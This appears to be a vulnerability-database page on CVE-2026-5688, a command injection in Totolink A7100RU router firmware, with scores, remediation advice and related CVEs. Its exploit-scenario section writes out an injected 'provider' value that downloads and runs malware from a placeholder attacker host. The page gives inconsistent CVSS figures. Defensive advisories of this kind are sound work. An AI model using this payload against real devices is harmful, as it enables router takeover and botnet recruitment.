Skip to main content

A7100Ru CVE-2026-5688

| EUVDEUVD-2026-19547 MEDIUM
OS Command Injection (CWE-78)
2026-04-06 VulDB GHSA-r8h7-vx32-9qj2
5.5
CVSS 4.0 · Vendor: VulDB
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

Real-world risk is HIGH despite moderate CVSS 7.3 score. Critical risk factors include: (1) Attack vector is network-based (AV:N) with low complexity (AC:L) requiring no authentication (PR:N) or user interaction (UI:N), making exploitation trivial for any attacker with network access to the device's web interface; (2) Publicly available exploit code exists on GitHub, lowering the skill barrier for exploitation; (3) Command injection vulnerabilities in router firmware are frequently targeted by botnet operators for device compromise and DDoS recruitment. Mitigating factors: (1) No CISA KEV listing indicates no confirmed widespread exploitation campaigns; (2) Limited impact scope (C:L/I:L/A:L) suggests partial compromise rather than full system control, though command injection typically enables privilege escalation; (3) Attack surface limited to organizations using this specific Totolink router model. The CVSS Exploit Maturity (E:P) confirms proof-of-concept code availability. SSVC framework assessment: exploitation status is POC, automatable attack (no interaction needed), technical impact is partial across CIA triad. This qualifies as a priority vulnerability for any organization using affected devices, particularly those with internet-exposed management interfaces.

Exploit ScenarioDerived

An external attacker scans internet-facing IP ranges for Totolink A7100RU devices with exposed web management interfaces on port 80 or 443. Upon identifying a vulnerable device, the attacker crafts a malicious HTTP request to /cgi-bin/cstecgi.cgi targeting the setDdnsCfg function with a poisoned 'provider' parameter containing shell metacharacters and commands (e.g., provider=';wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;'). The unsanitized input executes arbitrary commands with the privileges of the web server process, allowing the attacker to download and execute botnet malware, establish persistent backdoor access, exfiltrate network configuration data including WiFi credentials, or pivot to attack other devices on the internal network. The publicly available GitHub POC (https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_186/README.md) provides ready-to-use exploit code lowering technical barriers for mass exploitation campaigns.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 2.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 06, 2026

OS command injection in Totolink A7100RU router firmware version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands via the 'provider' parameter in the setDdnsCfg function of /cgi-bin/cstecgi.cgi. Publicly available exploit code exists (GitHub POC) demonstrating practical exploitation. With CVSS 7.3 and network-accessible attack vector requiring no authentication or user interaction, this represents a significant risk to exposed devices, though no active exploitation confirmed by CISA KEV at time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis based on available references. Primary mitigation: immediately restrict network access to the router's web management interface at /cgi-bin/cstecgi.cgi by disabling remote administration features and ensuring management access is only available from trusted internal networks, never from WAN/internet. Implement firewall rules blocking external access to TCP ports 80/443 on the device. Secondary measures: monitor Totolink vendor site (https://www.totolink.net/) and security advisories from VulDB (https://vuldb.com/vuln/355515) for firmware updates addressing CVE-2026-5688. If patched firmware becomes available, upgrade immediately following vendor instructions. Organizations with high-risk exposure should consider replacing affected devices with alternative routers that receive active security support. Implement network segmentation to isolate IoT/router infrastructure from critical systems to limit potential pivot opportunities if device is compromised.

Affected VersionsENISA

A7100RU 7.4cu.2313_b20191024

Affected Packages

euvd a7100ru no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability exploits CWE-78 (OS Command Injection) in the web management interface of the Totolink A7100RU wireless router. The setDdnsCfg function in /cgi-bin/cstecgi.cgi CGI script fails to properly sanitize the 'provider' parameter before passing it to system shell commands. This is a common vulnerability class in embedded device firmware where CGI scripts use dangerous functions like system(), popen(), or exec() without input validation. The affected CPE (cpe:2.3:a:totolink:a7100ru) indicates this impacts the router's application firmware layer. DDNS (Dynamic DNS) configuration interfaces are particularly vulnerable as they often construct system commands to update DNS records, and improper input handling allows attackers to inject arbitrary shell metacharacters and command sequences. The vulnerability exists in firmware version 7.4cu.2313_b20191024 built in October 2019, suggesting legacy code without modern secure coding practices.

Know when A7100Ru gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 5.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 29, 2026 - 01:11 NVD
6.9 (MEDIUM) 5.5 (MEDIUM)
PoC Detected
Apr 07, 2026 - 13:20 vuln.today
Public exploit code
CVE Published
Apr 06, 2026 - 22:15 nvd
MEDIUM 6.9

DescriptionCVE.org

A security vulnerability has been detected in Totolink A7100RU 7.4cu.2313_b20191024. Impacted is the function setDdnsCfg of the file /cgi-bin/cstecgi.cgi. Such manipulation of the argument provider leads to os command injection. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.

Executive ViewAI

Why It Matters

Totolik A7100RU routers running firmware 7.4cu.2313_b20191024 are vulnerable to unauthenticated remote command execution via the DDNS configuration interface, allowing attackers to gain complete control over affected devices without credentials or user interaction. This vulnerability directly threatens network perimeter security and any organization relying on these routers for internet connectivity or network segmentation, as compromised devices can serve as entry points for lateral movement and data exfiltration.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict WAN access to the router's web interface and /cgi-bin/cstecgi.cgi endpoint using firewall rules, allowing only trusted administrative IP ranges; (2) Disable DDNS functionality if not operationally required; (3) Place affected routers behind a reverse proxy or WAF configured to block 'provider' parameter injection patterns; (4) Monitor router access logs and process execution for anomalous system commands; (5) Segment router management traffic from general network traffic using VLANs; (6) Evaluate replacement with vendor-supported equipment on extended support lifecycle as permanent solution.

Threat Intelligence Overview

EPSS Score
2.4%
Top 15% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 2.4%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +28
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-6195 HIGH POC
8.9 Apr 13

Command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to ex

CVE-2026-6156 HIGH POC
8.9 Apr 13

OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to

CVE-2026-6155 HIGH POC
8.9 Apr 13

OS command injection in Totolink A7100RU router firmware 7.4cu.2313 allows unauthenticated remote attackers to execute a

CVE-2026-6154 HIGH POC
8.9 Apr 13

OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to

CVE-2026-6140 HIGH POC
8.9 Apr 13

OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to

CVE-2026-6139 HIGH POC
8.9 Apr 13

OS command injection in Totolink A7100RU firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execut

CVE-2026-6138 HIGH POC
8.9 Apr 13

OS command injection in Totolink A7100RU router firmware version 7.4cu.2313_b20191024 allows unauthenticated remote atta

CVE-2026-6132 HIGH POC
8.9 Apr 12

OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to

CVE-2026-6131 HIGH POC
8.9 Apr 12

OS command injection in Totolink A7100RU router version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to

CVE-2026-6116 HIGH POC
8.9 Apr 12

OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to

CVE-2026-6115 HIGH POC
8.9 Apr 12

OS command injection in Totolink A7100RU router firmware (version 7.4cu.2313_b20191024) allows unauthenticated remote at

CVE-2026-6114 HIGH POC
8.9 Apr 12

OS command injection in Totolink A7100RU router version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy